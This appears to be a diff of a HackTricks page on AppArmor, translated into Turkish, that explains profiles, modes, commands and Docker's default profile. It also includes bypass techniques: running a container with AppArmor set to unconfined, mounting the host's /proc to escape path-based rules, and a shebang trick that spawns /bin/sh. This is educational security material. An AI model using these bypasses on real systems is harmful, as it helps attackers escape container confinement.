AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricks'i Destekleyin</summary> <summary>Support HackTricks</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin. * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %} {% endhint %}

View file

@ -1,56 +1,42 @@
# AppArmor # AppArmor
{% hint style="success" %} {% hint style="success" %}
AWS Hacking'ı öğrenin ve uygulayın: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricks'i Destekleyin</summary> <summary>Support HackTricks</summary>
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking püf noktalarını paylaşarak PR'ler göndererek HackTricks** ve **HackTricks Cloud** github depolarına katkıda bulunun. * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %} {% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io), şirketin veya müşterilerinin **hırsız kötü amaçlı yazılımlar** tarafından **kompromize edilip edilmediğini** kontrol etmek için **ücretsiz** işlevler sunan **dark-web** destekli bir arama motorudur.
WhiteIntel'in başlıca amacı, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.
Websitesini ziyaret edebilir ve **ücretsiz** olarak motorlarını deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}
***
## Temel Bilgiler ## Temel Bilgiler
AppArmor, **programlara program profilleri aracılığıyla sunulan kaynakları kısıtlamayı amaçlayan bir çekirdek geliştirmesidir**, erişim kontrol özelliklerini doğrudan kullanıcılara değil programlara bağlayarak Zorunlu Erişim Kontrolü (MAC) uygulamaktadır. Bu sistem, genellikle önyükleme sırasında, profilleri çekirdeğe yükleyerek çalışır ve bu profiller bir programın erişebileceği kaynakları belirler, örneğin ağ bağlantıları, ham soket erişimi ve dosya izinleri gibi. AppArmor, **programlara program başına profiller aracılığıyla mevcut kaynakları kısıtlamak için tasarlanmış bir çekirdek geliştirmesidir**, erişim kontrol özelliklerini doğrudan kullanıcılara değil, programlara bağlayarak Zorunlu Erişim Kontrolü (MAC) uygulamaktadır. Bu sistem, **profilleri çekirdeğe yükleyerek** çalışır, genellikle önyükleme sırasında, ve bu profiller bir programın erişebileceği kaynakları, örneğin ağ bağlantıları, ham soket erişimi ve dosya izinleri gibi, belirler.
AppArmor profilleri için iki işletim modu bulunmaktadır: AppArmor profilleri için iki çalışma modu vardır:
* **Uygulama Modu**: Bu mod, profilde tanımlanan politikaları aktif olarak uygular, bu politikalara aykırı hareketleri engeller ve syslog veya auditd gibi sistemler aracılığıyla bunları ihlal etmeye yönelik girişimleri kaydeder. * **Zorunlu Mod**: Bu mod, profil içinde tanımlanan politikaları aktif olarak uygular, bu politikaları ihlal eden eylemleri engeller ve bunları syslog veya auditd gibi sistemler aracılığıyla kaydeder.
* **Şikayet Modu**: Uygulama modunun aksine, şikayet modu, profilin politikalarına aykırı hareketleri engellemez. Bunun yerine, bu girişimleri kısıtlamaları uygulamadan politika ihlalleri olarak kaydeder. * **Şikayet Modu**: Zorunlu modun aksine, şikayet modu profilin politikalarına aykırı olan eylemleri engellemez. Bunun yerine, bu girişimleri politika ihlalleri olarak kaydeder, ancak kısıtlamaları uygulamaz.
### AppArmor'ın Bileşenleri ### AppArmor Bileşenleri
* **Çekirdek Modülü**: Politikaların uygulanmasından sorumludur. * **Çekirdek Modülü**: Politikaların uygulanmasından sorumludur.
* **Politikalar**: Program davranışı ve kaynak erişimi için kuralları ve kısıtlamaları belirtir. * **Politikalar**: Program davranışı ve kaynak erişimi için kuralları ve kısıtlamaları belirtir.
* **Ayrıştırıcı**: Politikaları çekirdeğe yükler ve uygular veya raporlar. * **Ayrıştırıcı**: Politikaları uygulama veya raporlama için çekirdeğe yükler.
* **Araçlar**: AppArmor ile etkileşimde bulunmak ve yönetmek için bir arayüz sağlayan kullanıcı modu programlarıdır. * **Araçlar**: AppArmor ile etkileşimde bulunmak ve yönetmek için bir arayüz sağlayan kullanıcı modu programlarıdır.
### Profil Yolu ### Profillerin Yolu
Apparmor profilleri genellikle _**/etc/apparmor.d/**_ dizininde saklanır.\ AppArmor profilleri genellikle _**/etc/apparmor.d/**_ dizininde saklanır.\
`sudo aa-status` komutu ile bazı profiller tarafından kısıtlanan ikili dosyaları listeleyebilirsiniz. Listelenen her ikili dosyanın yolundaki "/" karakterini bir noktaya değiştirirseniz, bahsedilen klasördeki apparmor profilinin adını elde edersiniz. `sudo aa-status` komutunu kullanarak bazı profiller tarafından kısıtlanan ikili dosyaları listeleyebilirsiniz. Listelenen her ikili dosyanın yolundaki "/" karakterini bir nokta ile değiştirdiğinizde, belirtilen klasördeki apparmor profilinin adını elde edersiniz.
Örneğin, _/usr/bin/man_ için bir **apparmor** profili _/etc/apparmor.d/usr.bin.man_ konumunda olacaktır. Örneğin, _/usr/bin/man_ için bir **apparmor** profili _/etc/apparmor.d/usr.bin.man_ konumunda bulunacaktır.
### Komutlar ### Komutlar
```bash ```bash
@ -62,42 +48,42 @@ aa-genprof #generate a new profile
aa-logprof #used to change the policy when the binary/program is changed aa-logprof #used to change the policy when the binary/program is changed
aa-mergeprof #used to merge the policies aa-mergeprof #used to merge the policies
``` ```
## Profil oluşturma ## Profil Oluşturma
* Etkilenen yürütülebilir dosyayı belirtmek için **mutlak yol ve joker karakterleri** (dosya eşleştirmesi için) kullanılabilir. * Etkilenen çalıştırılabilir dosyayı belirtmek için, **mutlak yollar ve joker karakterler** (dosya globbing için) dosyaları belirtmekte kullanılabilir.
* **Dosyalar** üzerinde yürütülecek erişimi belirtmek için aşağıdaki **erişim kontrolleri** kullanılabilir: * İkili dosyanın **dosyalar** üzerindeki erişimini belirtmek için aşağıdaki **erişim kontrolleri** kullanılabilir:
* **r** (okuma) * **r** (okuma)
* **w** (yazma) * **w** (yazma)
* **m** (bellek haritası olarak yürütme) * **m** (bellek haritası olarak çalıştırılabilir)
* **k** (dosya kilitleme) * **k** (dosya kilitleme)
* **l** (sert bağlantı oluşturma) * **l** (sert bağlantılar oluşturma)
* **ix** (yeni programın politikayı devralarak başka bir programı yürütmesi için) * **ix** (yeni programın miras aldığı politika ile başka bir programı çalıştırmak için)
* **Px** (ortamı temizledikten sonra başka bir profil altında yürütme) * **Px** (ortamı temizledikten sonra başka bir profil altında çalıştırmak için)
* **Cx** (ortamı temizledikten sonra başka bir alt profil altında yürütme) * **Cx** (ortamı temizledikten sonra bir çocuk profil altında çalıştırmak için)
* **Ux** (ortamı temizledikten sonra kısıtlanmamış olarak yürütme) * **Ux** (ortamı temizledikten sonra kısıtlanmamış olarak çalıştırmak için)
* **Değişkenler** profillerde tanımlanabilir ve profilden dışarıdan manipüle edilebilir. Örneğin: @{PROC} ve @{HOME} (profil dosyasına #include \<tunables/global> ekleyin) * **Değişkenler** profillerde tanımlanabilir ve profil dışından manipüle edilebilir. Örneğin: @{PROC} ve @{HOME} (profil dosyasına #include \<tunables/global> ekleyin)
* **İzin verme kurallarını geçersiz kılmak için reddetme kuralları desteklenir**. * **İzin verme kurallarını geçersiz kılmak için yasaklama kuralları desteklenmektedir**.
### aa-genprof ### aa-genprof
Profil oluşturmaya kolayca başlamak için apparmor size yardımcı olabilir. **Bir yürütülebilir tarafından gerçekleştirilen eylemleri incelemesine ve ardından hangi eylemleri izin vermek veya reddetmek istediğinize karar vermenize olanak tanır**.\ Profil oluşturmaya başlamak için apparmor size yardımcı olabilir. **Apparmor'un bir ikilinin gerçekleştirdiği eylemleri incelemesi ve ardından hangi eylemleri izin vermek veya yasaklamak istediğinize karar vermenize olanak tanıması mümkündür**.\
Sadece şunu çalıştırmanız yeterlidir: Sadece şunu çalıştırmanız yeterlidir:
```bash ```bash
sudo aa-genprof /path/to/binary sudo aa-genprof /path/to/binary
``` ```
Ardından, farklı bir konsolda genellikle ikili dosyanın gerçekleştireceği tüm eylemleri gerçekleştirin: Sonra, farklı bir konsolda ikili dosyanın genellikle gerçekleştireceği tüm eylemleri gerçekleştirin:
```bash ```bash
/path/to/binary -a dosomething /path/to/binary -a dosomething
``` ```
Ardından, ilk konsolda "**s**" tuşuna basın ve kaydedilen eylemlerde ihmal etmek, izin vermek veya ne yapmak istediğinizi belirtin. İşlemi tamamladığınızda "**f**" tuşuna basın ve yeni profil _/etc/apparmor.d/path.to.binary_ dizininde oluşturulacaktır. Sonra, ilk konsolda "**s**" tuşuna basın ve ardından kaydedilen eylemlerde neyi yok saymak, neyi izin vermek veya ne yapmak istediğinizi belirtin. İşlemi bitirdiğinizde "**f**" tuşuna basın ve yeni profil _/etc/apparmor.d/path.to.binary_inde oluşturulacaktır.
{% hint style="info" %} {% hint style="info" %}
Yön tuşları kullanarak izin vermek/engellemek/ne yapmak istediğinizi seçebilirsiniz. Ok tuşlarını kullanarak neyi izin vermek/yasaklamak/neyse seçebilirsiniz.
{% endhint %} {% endhint %}
### aa-easyprof ### aa-easyprof
Ayrıca, bir uygulamanın apparmor profil şablonunu oluşturabilirsiniz: Bir ikili dosyanın apparmor profilinin bir şablonunu da oluşturabilirsiniz:
```bash ```bash
sudo aa-easyprof /path/to/binary sudo aa-easyprof /path/to/binary
# vim:syntax=apparmor # vim:syntax=apparmor
@ -123,24 +109,24 @@ sudo aa-easyprof /path/to/binary
} }
``` ```
{% hint style="info" %} {% hint style="info" %}
Varsayılan olarak oluşturulan bir profilde hiçbir şey izin verilmez, bu nedenle her şey reddedilir. Örneğin, örneğin `/etc/passwd r,` gibi satırlar eklemeniz gerekecektir. Varsayılan olarak oluşturulan bir profilde hiçbir şeye izin verilmediğini unutmayın, bu nedenle her şey reddedilir. Örneğin, `/etc/passwd` dosyasının okunmasına izin vermek için `/etc/passwd r,` gibi satırlar eklemeniz gerekecek.
{% endhint %} {% endhint %}
Yeni profilinizi ardından şu şekilde **zorlayabilirsiniz**: Daha sonra yeni profili **uygulayabilirsiniz**.
```bash ```bash
sudo apparmor_parser -a /etc/apparmor.d/path.to.binary sudo apparmor_parser -a /etc/apparmor.d/path.to.binary
``` ```
### Günlüklerden bir profil değiştirme ### Loglardan bir profili değiştirme
Aşağıdaki araç, günlükleri okuyacak ve kullanıcıya tespit edilen bazı yasaklanmış eylemlerin izin verilip verilmediğini sormak için soracak: Aşağıdaki araç, logları okuyacak ve kullanıcıya tespit edilen bazı yasaklı eylemleri izin verip vermek istemediğini soracaktır:
```bash ```bash
sudo aa-logprof sudo aa-logprof
``` ```
{% hint style="info" %} {% hint style="info" %}
Ok tuşları kullanarak neyi izin vermek/engellemek/neyi yapmak istediğinizi seçebilirsiniz Ok tuşlarını kullanarak neyi izin vermek/engellemek/başka bir şey yapmak istediğinizi seçebilirsiniz.
{% endhint %} {% endhint %}
### Profil Yönetimi ### Bir Profili Yönetmek
```bash ```bash
#Main profile management commands #Main profile management commands
apparmor_parser -a /etc/apparmor.d/profile.name #Load a new profile in enforce mode apparmor_parser -a /etc/apparmor.d/profile.name #Load a new profile in enforce mode
@ -148,14 +134,14 @@ apparmor_parser -C /etc/apparmor.d/profile.name #Load a new profile in complain
apparmor_parser -r /etc/apparmor.d/profile.name #Replace existing profile apparmor_parser -r /etc/apparmor.d/profile.name #Replace existing profile
apparmor_parser -R /etc/apparmor.d/profile.name #Remove profile apparmor_parser -R /etc/apparmor.d/profile.name #Remove profile
``` ```
## Günlükler ## Logs
**`service_bin`** yürütülebilir dosyasının _/var/log/audit/audit.log_ dosyasındaki **AUDIT** ve **DENIED** günlüklerinden bir örnek: Örnek **AUDIT** ve **DENIED** logları _/var/log/audit/audit.log_ dosyasından **`service_bin`** yürütülebilir dosyası için:
```bash ```bash
type=AVC msg=audit(1610061880.392:286): apparmor="AUDIT" operation="getattr" profile="/bin/rcat" name="/dev/pts/1" pid=954 comm="service_bin" requested_mask="r" fsuid=1000 ouid=1000 type=AVC msg=audit(1610061880.392:286): apparmor="AUDIT" operation="getattr" profile="/bin/rcat" name="/dev/pts/1" pid=954 comm="service_bin" requested_mask="r" fsuid=1000 ouid=1000
type=AVC msg=audit(1610061880.392:287): apparmor="DENIED" operation="open" profile="/bin/rcat" name="/etc/hosts" pid=954 comm="service_bin" requested_mask="r" denied_mask="r" fsuid=1000 ouid=0 type=AVC msg=audit(1610061880.392:287): apparmor="DENIED" operation="open" profile="/bin/rcat" name="/etc/hosts" pid=954 comm="service_bin" requested_mask="r" denied_mask="r" fsuid=1000 ouid=0
``` ```
Ayrıca bu bilgilere şu şekilde de ulaşabilirsiniz: Bu bilgiyi şu şekilde de alabilirsiniz:
```bash ```bash
sudo aa-notify -s 1 -v sudo aa-notify -s 1 -v
Profile: /bin/service_bin Profile: /bin/service_bin
@ -175,7 +161,7 @@ For more information, please see: https://wiki.ubuntu.com/DebuggingApparmor
``` ```
## Docker'da Apparmor ## Docker'da Apparmor
Docker'ın **docker-profile** profili varsayılan olarak nasıl yüklendiğine dikkat edin: **docker-profile** profilinin varsayılan olarak nasıl yüklendiğine dikkat edin:
```bash ```bash
sudo aa-status sudo aa-status
apparmor module is loaded. apparmor module is loaded.
@ -191,49 +177,49 @@ apparmor module is loaded.
/usr/lib/connman/scripts/dhclient-script /usr/lib/connman/scripts/dhclient-script
docker-default docker-default
``` ```
Varsayılan olarak **Apparmor docker-default profil**i [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor) adresinden oluşturulur. Varsayılan olarak **Apparmor docker-default profili** [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor) adresinden oluşturulur.
**docker-default profil Özeti**: **docker-default profili Özeti**:
- Tüm **ağa erişim** * Tüm **ağ** erişimi
- **Yetenek** tanımlanmamıştır (Ancak, bazı yetenekler temel kural dosyalarını içererek gelecektir, yani #include \<abstractions/base>) * **Hiçbir yetenek** tanımlanmamıştır (Ancak, bazı yetenekler temel temel kuralları içermekten gelecektir, yani #include \<abstractions/base>)
- Herhangi bir **/proc** dosyasına **yazma izni yok** * Herhangi bir **/proc** dosyasına **yazma** **izin verilmez**
- Diğer /**proc** ve /**sys** alt dizinleri/**dosyaları** okuma/yazma/kilitleme/bağlantı/çalıştırma erişimine **izin verilmez** * Diğer **alt dizinler**/**dosyalar** için /**proc** ve /**sys** okuma/yazma/kilit/link/çalıştırma erişimi **reddedilir**
- **Bağlama** izni **yok** * **Mount** **izin verilmez**
- **Ptrace** yalnızca **aynı apparmor profil**i tarafından sınırlanmış bir işlemde çalıştırılabilir * **Ptrace** yalnızca **aynı apparmor profili** tarafından kısıtlanmış bir süreçte çalıştırılabilir
Bir **docker konteyneri çalıştırdıktan** sonra aşağıdaki çıktıyı görmelisiniz: Bir **docker konteyneri çalıştırdığınızda** aşağıdaki çıktıyı görmelisiniz:
```bash ```bash
1 processes are in enforce mode. 1 processes are in enforce mode.
docker-default (825) docker-default (825)
``` ```
Dikkat edin ki **apparmor, varsayılan olarak konteynıra verilen yetenek ayrıcalıklarını bile engelleyecektir**. Örneğin, **SYS_ADMIN yeteneği verilmiş olsa bile /proc içine yazma iznini engelleyebilecektir** çünkü varsayılan olarak docker apparmor profili bu erişimi reddeder: Not edin ki **apparmor, varsayılan olarak konteynere verilen yetenek ayrıcalıklarını bile engelleyecektir**. Örneğin, **SYS\_ADMIN yeteneği verilse bile /proc içine yazma iznini engelleyebilecektir** çünkü varsayılan olarak docker apparmor profili bu erişimi reddeder:
```bash ```bash
docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined ubuntu /bin/bash docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined ubuntu /bin/bash
echo "" > /proc/stat echo "" > /proc/stat
sh: 1: cannot create /proc/stat: Permission denied sh: 1: cannot create /proc/stat: Permission denied
``` ```
Apparmor kısıtlamalarını atlamak için **apparmor'u devre dışı bırakmanız** gerekmektedir: AppArmor kısıtlamalarını aşmak için **apparmor'ı devre dışı bırakmalısınız**:
```bash ```bash
docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu /bin/bash docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu /bin/bash
``` ```
Varsayılan olarak **AppArmor'ın**, **konteynerin içinden klasör bağlamasını yasaklayacağını** unutmayın, hatta SYS_ADMIN yeteneği ile bile. Not edin ki varsayılan olarak **AppArmor**, **SYS\_ADMIN** yetkisi ile bile konteynerin içinden klasörleri **monte etmesini** **yasaklayacaktır**.
Docker konteynerine **yetenekler ekleyebilir/çıkarabilirsiniz** (bu hala **AppArmor** ve **Seccomp** gibi koruma yöntemleri tarafından kısıtlanacaktır): Not edin ki docker konteynerine **yetkiler** **ekleyebilir/çıkarabilirsiniz** (bu hala **AppArmor** ve **Seccomp** gibi koruma yöntemleri tarafından kısıtlanacaktır):
* `--cap-add=SYS_ADMIN` `SYS_ADMIN` yeteneği verir * `--cap-add=SYS_ADMIN` `SYS_ADMIN` yetkisini ver
* `--cap-add=ALL` tüm yetenekleri verir * `--cap-add=ALL` tüm yetkileri ver
* `--cap-drop=ALL --cap-add=SYS_PTRACE` tüm yetenekleri kaldırır ve sadece `SYS_PTRACE` yeteneğini verir * `--cap-drop=ALL --cap-add=SYS_PTRACE` tüm yetkileri kaldır ve sadece `SYS_PTRACE` ver
{% hint style="info" %} {% hint style="info" %}
Genellikle, bir **docker** konteyneri **içinde** bir **açık yeteneğin** bulunduğunu **fark ettiğinizde** ve **saldırının bazı kısımlarının çalışmadığını gördüğünüzde**, bunun nedeni docker **apparmor'ın bunu engelliyor olması** olacaktır. Genellikle, bir **docker** konteynerinin içinde **yetkili bir yetki** bulduğunuzda **ama** **sömürü** kısmının **çalışmadığını** **bulursanız**, bu docker'ın **apparmor'unun bunu engelliyor olmasından** kaynaklanacaktır.
{% endhint %} {% endhint %}
### Örnek ### Örnek
(Örnek [**buradan**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/) alınmıştır) (Örnek [**buradan**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/) alınmıştır)
AppArmor işlevselliğini göstermek için, aşağıdaki satırı eklediğim yeni bir Docker profilı olan "mydocker"ı oluşturdum: AppArmor işlevselliğini göstermek için, aşağıdaki satırı ekleyerek “mydocker” adında yeni bir Docker profili oluşturdum:
``` ```
deny /etc/* w, # deny write for all files directly in /etc (not in a subdir) deny /etc/* w, # deny write for all files directly in /etc (not in a subdir)
``` ```
@ -241,37 +227,37 @@ Profili etkinleştirmek için aşağıdakileri yapmamız gerekiyor:
``` ```
sudo apparmor_parser -r -W mydocker sudo apparmor_parser -r -W mydocker
``` ```
Profilleri listelemek için aşağıdaki komutu kullanabiliriz. Aşağıdaki komut, yeni AppArmor profilimi listeliyor. Profilleri listelemek için aşağıdaki komutu verebiliriz. Aşağıdaki komut, benim yeni AppArmor profilimi listelemektedir.
``` ```
$ sudo apparmor_status | grep mydocker $ sudo apparmor_status | grep mydocker
mydocker mydocker
``` ```
Aşağıda gösterildiği gibi, "AppArmor" profili "/etc/" dizinine yazma erişimini engellediği için "/etc/" dizinini değiştirmeye çalıştığımızda hata alırız. Aşağıda gösterildiği gibi, “/etc/” dizinini değiştirmeye çalıştığımızda hata alıyoruz çünkü AppArmor profili “/etc” dizinine yazma erişimini engelliyor.
``` ```
$ docker run --rm -it --security-opt apparmor:mydocker -v ~/haproxy:/localhost busybox chmod 400 /etc/hostname $ docker run --rm -it --security-opt apparmor:mydocker -v ~/haproxy:/localhost busybox chmod 400 /etc/hostname
chmod: /etc/hostname: Permission denied chmod: /etc/hostname: Permission denied
``` ```
### AppArmor Docker Bypass1 ### AppArmor Docker Bypass1
Bir konteynerin çalıştırdığı **apparmor profilini** bulmak için şunu kullanabilirsiniz: Bir konteynerin hangi **apparmor profilinin çalıştığını** bulmak için:
```bash ```bash
docker inspect 9d622d73a614 | grep lowpriv docker inspect 9d622d73a614 | grep lowpriv
"AppArmorProfile": "lowpriv", "AppArmorProfile": "lowpriv",
"apparmor=lowpriv" "apparmor=lowpriv"
``` ```
Ardından, kullanılan tam profil **bulmak için aşağıdaki komutu çalıştırabilirsiniz**: Sonra, **kullanılan tam profili bulmak için** aşağıdaki satırı çalıştırabilirsiniz:
```bash ```bash
find /etc/apparmor.d/ -name "*lowpriv*" -maxdepth 1 2>/dev/null find /etc/apparmor.d/ -name "*lowpriv*" -maxdepth 1 2>/dev/null
``` ```
Eğer **apparmor docker profilini değiştirebilir ve yeniden yükleyebilirseniz** tuhaf bir durumda. Kısıtlamaları kaldırabilir ve onları "atlayabilirsiniz". In the weird case you can **apparmor docker profilini değiştirebilir ve yeniden yükleyebilirsiniz.** Kısıtlamaları kaldırabilir ve "bypass" edebilirsiniz.
### AppArmor Docker Atlatma2 ### AppArmor Docker Bypass2
**AppArmor yol tabanlıdır**, bu da demektir ki eğer **`/proc`** gibi bir dizin içindeki dosyaları koruyorsa bile, **konteynerin nasıl çalıştırılacağını yapılandırabilirseniz**, ana bilgisayarın proc dizinini **`/host/proc`** içine bağlayabilir ve bu artık AppArmor tarafından korunmaz. **AppArmor yol tabanlıdır**, bu, **`/proc`** gibi bir dizin içindeki dosyaları **koruyor** olsa bile, eğer **konteynerin nasıl çalıştırılacağını yapılandırabiliyorsanız**, ana bilgisayarın proc dizinini **`/host/proc`** içine **mount** edebilir ve artık **AppArmor tarafından korunmayacaktır**.
### AppArmor Shebang Atlatma ### AppArmor Shebang Bypass
Bu [**bu hata**](https://bugs.launchpad.net/apparmor/+bug/1911431)da, **belirli kaynaklarla perl'in çalışmasını engelliyorsanız bile**, sadece bir kabuk betiği oluşturursanız ve ilk satırda **`#!/usr/bin/perl`** belirtirseniz ve dosyayı doğrudan **çalıştırırsanız**, istediğinizi çalıştırabilirsiniz. Örn.: [**bu hata**](https://bugs.launchpad.net/apparmor/+bug/1911431) ile, **belirli kaynaklarla perl'in çalıştırılmasını engelliyorsanız bile**, eğer sadece ilk satırda **`#!/usr/bin/perl`** belirten bir shell script oluşturursanız ve dosyayı doğrudan **çalıştırırsanız**, istediğiniz her şeyi çalıştırabileceğinizi görebilirsiniz. Örnek:
```perl ```perl
echo '#!/usr/bin/perl echo '#!/usr/bin/perl
use POSIX qw(strftime); use POSIX qw(strftime);
@ -281,29 +267,17 @@ exec "/bin/sh"' > /tmp/test.pl
chmod +x /tmp/test.pl chmod +x /tmp/test.pl
/tmp/test.pl /tmp/test.pl
``` ```
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io), şirketin veya müşterilerinin **hırsız kötü amaçlı yazılımlar** tarafından **kompromize** edilip edilmediğini kontrol etmek için **ücretsiz** işlevler sunan **dark-web** destekli bir arama motorudur.
WhiteIntel'in asıl amacı, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.
Websitesini ziyaret edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %} {% hint style="success" %}
AWS Hacking'ı öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'ı öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricks'i Destekleyin</summary> <summary>HackTricks'i Destekleyin</summary>
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** * **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details> </details>
{% endhint %} {% endhint %}

View file

@ -1,35 +1,22 @@
# Docker release\_agent cgroups kaçışı # Docker release\_agent cgroups escape
{% hint style="success" %} {% hint style="success" %}
AWS Hacking'ı öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
